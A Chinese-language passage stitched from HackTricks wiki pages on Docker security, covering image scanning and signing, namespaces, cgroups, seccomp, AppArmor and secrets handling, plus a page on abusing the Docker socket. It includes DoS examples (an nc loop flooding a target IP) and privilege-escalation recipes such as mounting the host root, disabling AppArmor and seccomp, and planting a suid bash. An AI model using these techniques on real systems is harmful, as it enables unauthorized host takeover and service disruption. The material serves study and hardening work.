证书用于确认服务器的身份。有关这两种方法的详细示例，请参考[**此指南**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)。

### 容器镜像的安全性

容器镜像可以存储在私有或公共存储库中。Docker为容器镜像提供了几种存储选项：

* [**Docker Hub**](https://hub.docker.com)：Docker提供的公共注册服务。
* [**Docker Registry**](https://github.com/docker/distribution)：允许用户托管自己的注册表的开源项目。
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry)：Docker的商业注册服务，具有基于角色的用户身份验证和与LDAP目录服务集成的功能。

### 镜像扫描

容器可能存在**安全漏洞**，这可能是由于基础镜像或安装在基础镜像之上的软件导致的。Docker正在开发一个名为**Nautilus**的项目，用于对容器进行安全扫描并列出漏洞。Nautilus通过将每个容器镜像层与漏洞存储库进行比较来识别安全漏洞。

有关更多[**信息，请阅读此处**](https://docs.docker.com/engine/scan/)。

* **`docker scan`**

\*\*`docker scan`\*\*命令允许您使用镜像名称或ID扫描现有的Docker镜像。例如，运行以下命令来扫描hello-world镜像：

```bash
docker scan hello-world

Testing hello-world...

Organization:      docker-desktop-test
Package manager:   linux
Project name:      docker-image|hello-world
Docker image:      hello-world
Licenses:          enabled

✓ Tested 0 dependencies for known issues, no vulnerable paths found.

Note that we do not currently have vulnerability data for your image.
```

* [**`trivy`**](https://github.com/aquasecurity/trivy)

```bash
trivy -q -f json <container_name>:<tag>
```

* [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)

```bash
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
```

* [**`clair-scanner`**](https://github.com/arminc/clair-scanner)

```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```

### Docker镜像签名

Docker镜像签名确保容器中使用的镜像的安全性和完整性。以下是简要说明：

* **Docker内容信任**利用Notary项目，基于The Update Framework (TUF)，来管理镜像签名。有关更多信息，请参阅[Notary](https://github.com/docker/notary)和[TUF](https://theupdateframework.github.io)。
* 要激活Docker内容信任，请设置`export DOCKER_CONTENT_TRUST=1`。此功能在Docker版本1.10及更高版本中默认关闭。
* 启用此功能后，只能下载已签名的镜像。首次镜像推送需要为根密钥和标记密钥设置密码，Docker还支持Yubikey以提高安全性。更多详细信息可在[此处](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)找到。
* 在启用内容信任的情况下尝试拉取未签名的镜像会导致“最新版本无信任数据”错误。
* 对于第一次之后的镜像推送，Docker会要求输入存储库密钥的密码以签署镜像。

要备份您的私钥，请使用以下命令：

```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```

在切换Docker主机时，需要移动根密钥和存储库密钥以保持运行。

***

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 容器安全功能

<details>

<summary>容器安全功能摘要</summary>

**主要进程隔离功能**

在容器化环境中，隔离项目及其进程对于安全性和资源管理至关重要。以下是关键概念的简化解释：

**命名空间**

* **目的**：确保资源（如进程、网络和文件系统）的隔离。特别是在Docker中，命名空间将容器的进程与主机和其他容器分开。
* **使用`unshare`**：使用`unshare`命令（或底层系统调用）来创建新的命名空间，提供了额外的隔离层。然而，尽管Kubernetes本身不会阻止这一点，但Docker会。
* **限制**：创建新的命名空间不允许进程恢复到主机的默认命名空间。要渗透主机命名空间，通常需要访问主机的`/proc`目录，并使用`nsenter`进行进入。

**控制组（CGroups）**

* **功能**：主要用于在进程之间分配资源。
* **安全方面**：CGroups本身并不提供隔离安全性，除了`release_agent`功能，如果配置不当，可能会被利用以获取未经授权的访问权限。

**能力降权**

* **重要性**：这是进程隔离的关键安全功能。
* **功能**：通过放弃某些能力，限制根进程可以执行的操作。即使进程以根权限运行，缺乏必要的能力也会阻止其执行特权操作，因为由于权限不足，系统调用将失败。

这是进程放弃其他能力后的**剩余能力**：

{% code overflow="wrap" %}

```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```

{% endcode %}

**Seccomp**

默认情况下在Docker中启用。它有助于**进一步限制**进程可以调用的系统调用。\
**默认的Docker Seccomp配置文件**可以在<https://github.com/moby/moby/blob/master/profiles/seccomp/default.json>找到。

**AppArmor**

Docker有一个可以激活的模板：<https://github.com/moby/moby/tree/master/profiles/apparmor>

这将允许减少功能、系统调用、对文件和文件夹的访问...

</details>

### 命名空间

**命名空间**是Linux内核的一个功能，**将内核资源分区**，使得一组**进程**看到一组**资源**，而**另一组**进程看到**不同**的资源。该功能通过为一组资源和进程使用相同的命名空间，但这些命名空间指向不同的资源来实现。资源可以存在于多个空间中。

Docker利用以下Linux内核命名空间来实现容器隔离：

* pid命名空间
* mount命名空间
* network命名空间
* ipc命名空间
* UTS命名空间

有关**命名空间的更多信息**，请查看以下页面：

{% content-ref url="/pages/qXLWCso3vckmgasNdrOX" %}
[Namespaces](/linux-hardening/privilege-escalation/docker-security/namespaces)
{% endcontent-ref %}

### cgroups

Linux内核功能**cgroups**提供了限制资源（如CPU、内存、IO、网络带宽等）的能力。Docker允许使用cgroup功能创建容器，从而实现对特定容器的资源控制。\
以下是一个使用用户空间内存限制为500m、内核内存限制为50m、CPU份额为512、blkioweight为400创建的容器。CPU份额是控制容器CPU使用率的比率。它的默认值为1024，范围在0到1024之间。如果三个容器的CPU份额都是1024，则在CPU资源争用的情况下，每个容器最多可以占用33%的CPU。blkio-weight是控制容器IO的比率。它的默认值为500，范围在10到1000之间。

```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```

要获取容器的 cgroup，您可以执行以下操作：

```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```

### 权限提升

权限提升允许对root用户可以允许的权限进行更精细的控制。Docker使用Linux内核的权限功能来限制容器内可以执行的操作，无论用户类型如何。

当运行Docker容器时，进程会放弃敏感权限，这些权限可以用来逃离隔离。这样可以确保进程无法执行敏感操作并逃脱：

[linux-capabilities.md](/linux-hardening/privilege-escalation/linux-capabilities)

### Docker中的Seccomp

这是一个安全功能，允许Docker限制容器内可以使用的系统调用：

[seccomp.md](/linux-hardening/privilege-escalation/docker-security/seccomp)

### Docker中的AppArmor

AppArmor是一个内核增强功能，用于将容器限制在一组有限的资源和每个程序的配置文件中：

[apparmor.md](/linux-hardening/privilege-escalation/docker-security/apparmor)

### Docker中的SELinux

* 标签系统：SELinux为每个进程和文件系统对象分配唯一标签。
* 策略执行：它执行定义了进程标签在系统中可以对其他标签执行什么操作的安全策略。
* 容器进程标签：当容器引擎启动容器进程时，它们通常被分配一个受限SELinux标签，通常是`container_t`。
* 容器内的文件标签：容器内的文件通常被标记为`container_file_t`。
* 策略规则：SELinux策略主要确保具有`container_t`标签的进程只能与标记为`container_file_t`的文件交互（读取、写入、执行）。

这种机制确保即使容器内的进程受到损害，也仅限于与具有相应标签的对象交互，从而显著限制了此类妥协可能造成的潜在损害。

[selinux.md](/linux-hardening/privilege-escalation/selinux)

### AuthZ & AuthN

在Docker中，授权插件通过决定是否允许或阻止对Docker守护程序的请求发挥着关键作用。这一决定是通过检查两个关键上下文来做出的：

* **认证上下文**：包括有关用户的全面信息，例如他们是谁以及他们如何进行身份验证。
* **命令上下文**：包括与正在进行的请求相关的所有相关数据。

这些上下文有助于确保只有经过身份验证的用户的合法请求才会被处理，增强Docker操作的安全性。

[authz-and-authn-docker-access-authorization-plugin.md](/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin)

## 容器中的DoS

如果您没有正确限制容器可以使用的资源，受损的容器可能会对其运行的主机进行DoS攻击。

* CPU DoS

```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m

# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```

* 带宽 DoS

```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```

## 有趣的Docker标志

### --privileged标志

在下面的页面中，您可以了解\*\*`--privileged`标志意味着什么\*\*：

{% content-ref url="/pages/VqxY9enXaUhxG5YrRzAl" %}
[Docker --privileged](/linux-hardening/privilege-escalation/docker-security/docker-privileged)
{% endcontent-ref %}

### --security-opt

#### no-new-privileges

如果您正在运行一个容器，攻击者设法以低权限用户的身份访问。如果您有一个**配置错误的suid二进制文件**，攻击者可能会滥用它并**在容器内提升权限**。这可能使他能够逃离容器。

使用启用了\*\*`no-new-privileges`**选项运行容器将**防止这种特权升级\*\*。

```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```

#### 其他

```bash
#You can manually add/drop capabilities with
--cap-add
--cap-drop

# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined

# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined

# You can manually disable selinux in docker with
--security-opt label:disable
```

要查看更多\*\*`--security-opt`\*\*选项，请访问：<https://docs.docker.com/engine/reference/run/#security-configuration>

## 其他安全考虑

### 管理机密信息：最佳实践

避免直接嵌入Docker镜像或使用环境变量存储机密信息至关重要，因为这些方法会使您的敏感信息暴露给通过诸如`docker inspect`或`exec`等命令访问容器的任何人。

**Docker卷**是一个更安全的替代方案，建议用于访问敏感信息。它们可以被用作内存中的临时文件系统，减轻了与`docker inspect`和日志记录相关的风险。但是，root用户和具有对容器的`exec`访问权限的用户仍然可以访问这些机密信息。

**Docker机密**提供了一种更安全的处理敏感信息的方法。对于在镜像构建阶段需要机密信息的情况，**BuildKit**提供了一个高效的解决方案，支持构建时机密信息，提高构建速度并提供额外功能。

要利用BuildKit，可以通过以下三种方式激活它：

1. 通过环境变量：`export DOCKER_BUILDKIT=1`
2. 通过命令前缀：`DOCKER_BUILDKIT=1 docker build .`
3. 通过在Docker配置中默认启用它：`{ "features": { "buildkit": true } }`，然后重新启动Docker。

BuildKit允许使用`--secret`选项使用构建时机密信息，确保这些机密信息不包含在镜像构建缓存或最终镜像中，使用类似以下命令：

```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```

对于运行容器中需要的机密信息，**Docker Compose 和 Kubernetes** 提供了强大的解决方案。Docker Compose 利用服务定义中的 `secrets` 键来指定机密文件，示例在 `docker-compose.yml` 中展示：

```yaml
version: "3.7"
services:
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
- my_secret
secrets:
my_secret:
file: ./my_secret_file.txt
```

这个配置允许在使用Docker Compose启动服务时使用secrets。

在Kubernetes环境中，secrets得到原生支持，并可以通过诸如[Helm-Secrets](https://github.com/futuresimple/helm-secrets)等工具进一步管理。Kubernetes的基于角色的访问控制（RBAC）增强了秘钥管理安全性，类似于Docker Enterprise。

### gVisor

**gVisor**是一个用Go编写的应用内核，实现了Linux系统表面的大部分功能。它包括一个名为`runsc`的[Open Container Initiative (OCI)](https://www.opencontainers.org)运行时，提供了应用程序和主机内核之间的**隔离边界**。`runsc`运行时与Docker和Kubernetes集成，使得运行沙盒容器变得简单。

{% embed url="<https://github.com/google/gvisor>" %}

### Kata Containers

**Kata Containers**是一个开源社区，致力于构建一个安全的容器运行时，使用轻量级虚拟机，感觉和表现类似于容器，但通过硬件虚拟化技术提供**更强大的工作负载隔离**作为第二层防御。

{% embed url="<https://katacontainers.io/>" %}

### 总结提示

* **不要使用`--privileged`标志或在容器内挂载** [**Docker套接字**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker套接字允许生成容器，因此通过使用`--privileged`标志运行另一个容器是获取主机完全控制的简单方法。
* **不要在容器内以root身份运行。使用** [**不同的用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)\*\*。\*\*容器内的root与主机上的root相同，除非使用用户命名空间重新映射。它仅受到轻微限制，主要是由Linux命名空间、功能和cgroups限制。
* [**放弃所有功能**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)，仅启用所需功能** (`--cap-add=...`)。许多工作负载不需要任何功能，添加功能会增加潜在攻击的范围。
* [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **防止进程获取更多权限，例如通过suid二进制文件。**
* [**限制容器可用的资源**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)\*\*。\*\*资源限制可以保护机器免受拒绝服务攻击。
* **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**，** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) \*\*（或SELinux）\*\*配置文件，将容器可用的操作和系统调用限制为最低要求。
* **使用** [**官方Docker镜像**](https://docs.docker.com/docker-hub/official_images/) **并要求签名**，或者基于它们构建自己的镜像。不要继承或使用[后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)镜像。还要将根密钥、密码存储在安全位置。Docker计划使用UCP管理密钥。
* **定期** **重建**您的镜像以**应用安全补丁到主机和镜像**。
* 明智地管理您的**secrets**，使攻击者难以访问它们。
* 如果**暴露Docker守护程序，请使用HTTPS**进行客户端和服务器身份验证。
* 在Dockerfile中，**优先使用COPY而不是ADD**。ADD会自动解压缩文件并可以从URL复制文件。COPY不具备这些功能。尽量避免使用ADD，以免受到通过远程URL和Zip文件进行攻击的影响。
* 为每个微服务**使用单独的容器**
* **不要在容器内放置ssh**，“docker exec”可用于ssh到容器。
* 使用**更小**的容器**镜像**

## Docker越狱/权限提升

如果您**在Docker容器内**或者拥有**docker组中的用户访问权限**，您可以尝试**越狱和提升权限**：

{% content-ref url="/pages/VuwzlEJqQFRmCeleFY1v" %}
[Docker Breakout / Privilege Escalation](/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation)
{% endcontent-ref %}

## Docker身份验证插件绕过

如果您可以访问docker套接字或者拥有**docker组中的用户访问权限，但您的操作受到docker身份验证插件的限制**，请检查是否可以**绕过它**：

{% content-ref url="/pages/Dycn3SlaTWOK21Spbaam" %}
[AuthZ& AuthN - Docker Access Authorization Plugin](/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin)
{% endcontent-ref %}

## 加固Docker

* 工具[**docker-bench-security**](https://github.com/docker/docker-bench-security)是一个脚本，检查在生产环境中部署Docker容器时的数十种常见最佳实践。所有测试都是自动化的，基于[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
  您需要从运行Docker的主机或具有足够权限的容器中运行该工具。了解如何在README中运行它：[**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。

## 参考资料

* <https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/>
* <https://twitter.com/_fel1x/status/1151487051986087936>
* <https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html>
* <https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/>
* <https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/>
* <https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/>
* <https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/>
* <https://en.wikipedia.org/wiki/Linux_namespaces>
* <https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57>
* <https://www.redhat.com/sysadmin/privileged-flag-container-engines>
* <https://docs.docker.com/engine/extend/plugins_authorization>
* <https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57>
* <https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，使用世界上**最先进的**社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Abusing Docker Socket for Privilege Escalation

<details>

<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现我们的独家[**NFTs 集合**](https://opensea.io/collection/the-peass-family)，[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)上**关注**我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。

</details>

有些情况下，您只能**访问 docker socket**，并希望使用它来**提升权限**。有些操作可能非常可疑，您可能希望避免它们，因此在这里您可以找到不同的标志，这些标志对于提升权限可能有用：

### 通过挂载

您可以**挂载**文件系统的不同部分到以 root 身份运行的容器中，并**访问**它们。\
您还可以**滥用挂载来在容器内提升权限**。

* **`-v /:/host`** -> 在容器中挂载宿主机的文件系统，以便您可以**读取宿主机的文件系统。**
* 如果您想在容器中**感觉像在宿主机上**，您可以使用以下标志禁用其他防御机制：
* `--privileged`
* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
* `--security-opt seccomp=unconfined`
* `-security-opt label:disable`
* `--pid=host`
* `--userns=host`
* `--uts=host`
* `--cgroupns=host`
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 这与前一种方法类似，但在这里我们正在**挂载设备磁盘**。然后，在容器内运行 `mount /dev/sda1 /mnt`，您可以在 `/mnt` 中**访问** **宿主机的文件系统**
* 在宿主机上运行 `fdisk -l` 来找到要挂载的 `</dev/sda1>` 设备
* **`-v /tmp:/host`** -> 如果由于某种原因您只能**挂载宿主机的某个目录**，并且您在宿主机内部有访问权限。挂载它并在挂载的目录中创建一个具有 **suid** 的 **`/bin/bash`**，以便您可以**从宿主机执行它并提升为 root**。

{% hint style="info" %}
请注意，您可能无法挂载 `/tmp` 文件夹，但您可以挂载**不同的可写文件夹**。您可以使用以下命令找到可写目录：`find / -writable -type d 2>/dev/null`

**请注意，并非所有 Linux 机器上的目录都支持 suid 位！** 为了检查哪些目录支持 suid 位，请运行 `mount | grep -v "nosuid"` 例如，通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup` 和 `/var/lib/lxcfs` 不支持 suid 位。

还请注意，如果您可以**挂载 `/etc`** 或任何其他**包含配置文件的文件夹**，您可以从 docker 容器中以 root 身份更改它们，以便**在宿主机上滥用它们**并提升权限（可能修改 `/etc/shadow`）
{% endhint %}

### 从容器中逃逸

* **`--privileged`** -> 使用此标志，您[移除了容器的所有隔离](/linux-hardening/privilege-escalation/docker-security/docker-privileged#what-affects)。查看技术以[从具有 root 权限的特权容器中逃逸](/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#automatic-enumeration-and-escape)。
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> 为了[滥用能力进行提升](/linux-hardening/privilege-escalation/linux-capabilities)，**授予容器该能力**并禁用其他可能阻止漏洞利用工作的保护方法。

### Curl

在这个页面上，我们讨论了使用 docker 标志提升权限的方法，您可以在以下页面中找到**使用 curl 命令滥用这些方法的方式**：

{% content-ref url="/pages/Dycn3SlaTWOK21Spbaam" %}
[AuthZ& AuthN - Docker Access Authorization Plugin](/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin)
{% endcontent-ref %}

<details>

<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现我们的独家[**NFTs 集合**](https://opensea.io/collection/the-peass-family)，[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)上**关注**我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。

</details>


# AppArmor

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供**免费**功能，用于检查公司或其客户是否受到**窃取恶意软件**的侵害。

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

## 基本信息

AppArmor是一个**内核增强程序，旨在通过每个程序的配置文件限制程序可用的资源**，有效地实现强制访问控制（MAC），将访问控制属性直接绑定到程序而不是用户。该系统通过**在内核中加载配置文件**来运行，通常在启动时加载，这些配置文件指定程序可以访问的资源，如网络连接、原始套接字访问和文件权限。

AppArmor配置文件有两种操作模式：

* **强制模式**：该模式积极执行配置文件中定义的策略，阻止违反这些策略的操作，并记录任何试图违反这些策略的尝试，例如通过syslog或auditd等系统。
* **投诉模式**：与强制模式不同，投诉模式不会阻止违反配置文件策略的操作。相反，它将这些尝试记录为策略违规，而不强制执行限制。

### AppArmor的组成部分

* **内核模块**：负责执行策略。
* **策略**：指定程序行为和资源访问的规则和限制。
* **解析器**：将策略加载到内核中以执行或报告。
* **实用程序**：这些是用户模式程序，提供与AppArmor交互和管理的接口。

### 配置文件路径

AppArmor配置文件通常保存在\_**/etc/apparmor.d/**\_目录下\
使用`sudo aa-status`命令，您将能够列出受某个配置文件限制的二进制文件。如果您可以将每个列出的二进制文件的路径中的斜杠“/”更改为点号，您将获得所提到文件夹中AppArmor配置文件的名称。

例如，*usr/bin/man\_的**AppArmor**配置文件将位于*/etc/apparmor.d/usr.bin.man\_中。

### 命令

```bash
aa-status     #check the current status
aa-enforce    #set profile to enforce mode (from disable or complain)
aa-complain   #set profile to complain mode (from diable or enforcement)
apparmor_parser #to load/reload an altered policy
aa-genprof    #generate a new profile
aa-logprof    #used to change the policy when the binary/program is changed
aa-mergeprof  #used to merge the policies
```

## 创建一个配置文件

* 为了指定受影响的可执行文件，允许使用**绝对路径和通配符**（用于文件通配）来指定文件。
* 为了指示二进制文件将对**文件**具有的访问权限，可以使用以下**访问控制**：
* **r**（读取）
* **w**（写入）
* **m**（内存映射为可执行文件）
* **k**（文件锁定）
* **l**（创建硬链接）
* **ix**（使用新程序执行另一个程序，并继承策略）
* **Px**（在清理环境后，使用另一个配置文件执行）
* **Cx**（在清理环境后，使用子配置文件执行）
* **Ux**（在清理环境后，执行无限制，）
* **变量**可以在配置文件中定义，并可以从配置文件外部进行操作。例如：@{PROC} 和 @{HOME}（在配置文件中添加 #include \<tunables/global>）
* **拒绝规则支持覆盖允许规则**。

### aa-genprof

为了轻松开始创建一个配置文件，apparmor 可以帮助您。可以让**apparmor 检查二进制文件执行的操作，然后让您决定要允许还是拒绝哪些操作**。\
只需要运行：

```bash
sudo aa-genprof /path/to/binary
```

然后，在另一个控制台执行二进制文件通常会执行的所有操作：

```bash
/path/to/binary -a dosomething
```

然后，在第一个控制台中按下 "**s**"，然后在记录的操作中指示您想要忽略、允许或其他操作。完成后按下 "**f**"，新配置文件将被创建在 */etc/apparmor.d/path.to.binary*

{% hint style="info" %}
使用箭头键，您可以选择要允许/拒绝/其他的内容
{% endhint %}

### aa-easyprof

您还可以使用以下命令创建二进制文件的AppArmor配置文件模板：

```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
# AppArmor policy for binary
# ###AUTHOR###
# ###COPYRIGHT###
# ###COMMENT###

#include <tunables/global>

# No template variables specified

"/path/to/binary" {
#include <abstractions/base>

# No abstractions specified

# No policy groups specified

# No read paths specified

# No write paths specified
}
```

{% hint style="info" %}
请注意，默认情况下，在创建的配置文件中，什么都不允许，因此一切都被拒绝。您需要添加类似 `/etc/passwd r,` 这样的行来允许二进制文件读取 `/etc/passwd` 。
{% endhint %}

然后，您可以使用以下命令**强制执行**新配置文件：

```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```

### 从日志修改配置文件

以下工具将读取日志，并询问用户是否允许一些检测到的禁止操作：

```bash
sudo aa-logprof
```

{% hint style="info" %}
使用箭头键可以选择您想要允许/拒绝/其他操作的内容
{% endhint %}

### 管理配置文件

```bash
#Main profile management commands
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain mode
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```

## 日志

来自可执行文件 **`service_bin`** 的 */var/log/audit/audit.log* 中 **AUDIT** 和 **DENIED** 日志示例：

```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```

您也可以使用以下方式获取此信息：

```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
Operation: open
Name: /etc/passwd
Denied: r
Logfile: /var/log/audit/audit.log

Profile: /bin/service_bin
Operation: open
Name: /etc/hosts
Denied: r
Logfile: /var/log/audit/audit.log

AppArmor denials: 2 (since Wed Jan  6 23:51:08 2021)
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```

## Docker中的Apparmor

请注意，默认情况下加载了docker的配置文件**docker-profile**：

```bash
sudo aa-status
apparmor module is loaded.
